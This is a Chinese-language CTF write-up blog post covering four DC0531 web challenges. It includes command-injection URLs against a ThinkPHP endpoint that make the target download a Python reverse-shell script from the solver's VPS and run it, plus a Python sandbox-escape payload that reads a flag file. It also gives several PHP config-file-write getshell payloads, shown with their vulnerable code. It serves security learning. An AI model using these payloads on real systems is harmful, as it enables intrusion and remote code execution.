DC0531线上CTF题解

前言

17:30到火种平台注册了下,吃个饭回来发现比赛结束了。不过还好比赛环境还没关,抓紧时间把题目做一遍。做着做着,Web2题目环境又关闭了,只能本地复现了。自己对Thinkphp的结构还是不熟悉,有时间要去学学了,以下是DC0531 CTF所有题目的WriteUp。(PS:其实就4道题目)

Web1

关注DC0531公众号。一开始以为是签到题,然而并不是。于是就按照 battle ground的规则开始玩。这里有两种解题方法,一种是抓取流量包,一种是命令执行。

方法一

5

先看一下有那些武器,然后选择一个捡起,载入武器,然后向你的VPS射击,就可以获取到题目的IP。在射击之前,用tcpdump -nn -i eth0 icmp -w dc0531.cap 先在你的VPS上抓包。

6

这题存在git泄露,先把源代码扒下来

7

这里只解释代码的关键部分,关键代码路径在: Application/Home/Controller/TestController.class.php

先看P方法,改方法主要是用于将 $weapon 文件的内容base64加密后前100个字符存放在 $this->info['bullet'] 中,用在下面的s方法,代码如下:

8

然后就是r方法,该方法用于初始化 $this->info['status'] = 100; ,然后才能利用s方法。s方法就是携带上面base64加密后的 $weapon 文件的内容前100个字符,去ping目标主机,也就是微信公众号中的shot功能,ping命令的-p 选项可以设置icmp报文数据部分的内容。这里要注意下面代码中16、17行, $this->info['status'] - 1 为99,相应 $bullet = $this->info['bullet'][100-99]; 即从$this->info['bullet'][1] 开始,漏掉了 $this->info['bullet'][0] 所以我们最后获取的内容在开头要加上一个字符。

9

明白了这三个方法,就知道如何利用了。我们先把flag文件装入 $weapon ,然后一直shot我们的VPS,具体利用如下:

10

VPS上用tcpdump抓包,提取内容为:D9waHAKJGZsYWcgPSAiREMwNTMxe1dlY2hBdF9Jc19Tb19DMG9sfSI7Cg== ,在开头随便加上一个字母,这里我加P,解出来如下:

11

12

方法二

下面说另外一个解法,就是通过命令执行的方式获得flag。其实一开始我发现方法u中存在命令执行,但是看了前面的代码,发现没用调用到,然后就没管了。后来 Wfox 师傅提醒我这个是Thinkphp,真是一语惊醒梦中人,Thinkphp是可以通过路由方式调用方法的,方法u的代码如下:

13

下面就说说如何利用,在我们的VPS上留下python反弹shell脚本,然后根据Thinkphp3.2.3的路由规则,分别访问一下两个链接,当然你要在你的VPS上提前侦听某个端口,链接如下:

1
2
http://139.198.3.171/index.php/Home/Test/u?PicUrl=http://你的VPSIP/dc0531.py -O /tmp/dc0531.py;#
http://139.198.3.171/index.php/Home/Test/u?PicUrl=;python /tmp/dc0531.py;#

14

如果还是不清楚如何回弹shell,你可以参考文章:ISCC2018线上赛之Web搅屎

Web2

题目地址:http://150.95.146.178/

这题环境突然关了,只能本地搭环境复现,题目使用的是Metinfo6.0.0,上网搜索该版本cms漏洞,可以看到 Metinfo 6.0.0 任意文件读取漏洞 ,题目刚好也是考察这个漏洞,只是题目环境用的是最新版的Metinfo6.0.0,与该博客上的版本代码略有差别,不过还是能绕过,具体分析可以看那篇文章,这里不赘述,直接给出利用方式。

4

Web3

题目地址:nc 139.198.191.81 9999

python沙箱逃逸,遇到空格和某些关键字就会直接断开,直接read也会断开。payload如下:

1
[i.read()for(i)in[0x1.__class__.__base__.__subclasses__()[40]("/home/ctf/flag")]]

3

Web4

题目地址:http://139.198.191.81:18080/

用dirb扫描发现存在git泄露,用 Githack 将泄露的文件扒下来,flag.php中即可找到flag。

1

2

估计出题人环境没弄好,实际考察内容可参考 CTF_web/web200-7 ,下面我就直接 转载过来 了 懒:)

phithon师父在小蜜圈里放了一个经典的配置文件写入问题漏洞.

1
2
3
4
5
6
7
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
?>

config.php 的内容如下:

1
<?php $option='test'; ?>

要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。 此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.

方法一,利用换行符来绕过正则匹配的问题

可以看到正则匹配的是以下内容:

1
$option='任意内容'

任意内容里面是可以包含转移符 \ 的,所以我们利用下面的方法:

1
2
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a

执行完第一个之后,config.php中的内容为:

1
2
3
4
<?php
$option='a\';
phpinfo();//';
?>

但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内. 我们在访问下面这个

1
http://127.0.0.1/index.php?option=a

因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:

1
2
3
4
<?php
$option='a';
phpinfo();//';
?>

转义符就被替换掉了,就成功的getshell.

方法二,利用 preg_replace函数的问题:

preg_replace函数在处理字符串的时候,会自动对第二个参数的 \ 这个字符进行反转移. 具体为啥要这样干,我也不太懂. 也就是说如果字符串是 “'“,经过 preg_replace()的处理,就变为 “'“,单引号就逃出来了. 所以payload如下:

1
http://127.0.0.1/index.php?option=a\';phpinfo();//

config.php变为:

1
<?php $option='a\\';phpinfo();//'; ?>

道理就是 a’;phpinfo();// 经过 addslashes()处理之后,变为a';phpinfo();// 然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.

利用 preg_replace() 函数的第二个参数的问题

先看官方对preg_replace()函数的描述manual 函数原型:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

对replacement的描述.

replacement中可以包含后向引用\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\0和$0代表完整的模式匹配文本。

所以我们可以用:

1
2
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=%00 或者 http://127.0.0.1/test/ph.php?option=$0

执行第一条后config.php的内容为:

1
<?php $option=';phpinfo();'; ?>

再执行第二条后config.php的内容为:

1
<?php $option='$option=';phpinfo();';'; ?>

刚好闭合掉了前后的两个单引号中间的逃脱出来了.想出这个办法的人,思路真是可以的.

相关文章

Metinfo 6.0.0 任意文件读取漏洞

DC0531 CTF Writeup

CTF_web/web200-7/

ThinkPHP3.2完全开发手册

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/06/19/DC0531线上CTF题解/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog